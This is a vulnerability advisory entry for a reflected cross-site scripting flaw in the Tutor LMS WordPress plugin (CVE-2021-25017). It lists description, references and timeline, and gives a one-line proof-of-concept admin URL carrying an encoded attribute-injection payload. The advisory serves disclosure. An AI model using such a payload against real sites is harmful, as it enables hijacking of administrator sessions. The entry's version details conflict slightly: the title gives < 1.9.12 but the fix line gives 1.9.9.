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WordPress Plugin Vulnerabilities

Tutor LMS < 1.9.12 - Reflected Cross-Site Scripting

Description

The plugin does not escape the search parameter before outputting it back in an attribute in an admin page, leading to a Reflected Cross-Site Scripting

Proof of Concept

https://example.com/wp-admin/admin.php?page=tutor_announcements&search=%22+style%3Danimation-name%3Arotation+onanimationstart%3Dalert%281%29+x%3D 

Affects Plugins

tutor
Fixed in version 1.9.9

References

CVE
CVE-2021-25017
URL
https://plugins.trac.wordpress.org/changeset/2643821

Classification

Type

XSS

OWASP top 10
A7: Cross-Site Scripting (XSS)
CWE
CWE-79

Miscellaneous

Original Researcher

Krzysztof Zając

Submitter

Krzysztof Zając

Submitter website
https://kazet.cc/
Verified

Yes

WPVDB ID
2d0c4872-a341-4974-926c-10b094a5d13c

Timeline

Publicly Published

2021-12-27 (about 1 years ago)

Added

2021-12-27 (about 1 years ago)

Last Updated

2022-04-09 (about 9 months ago)

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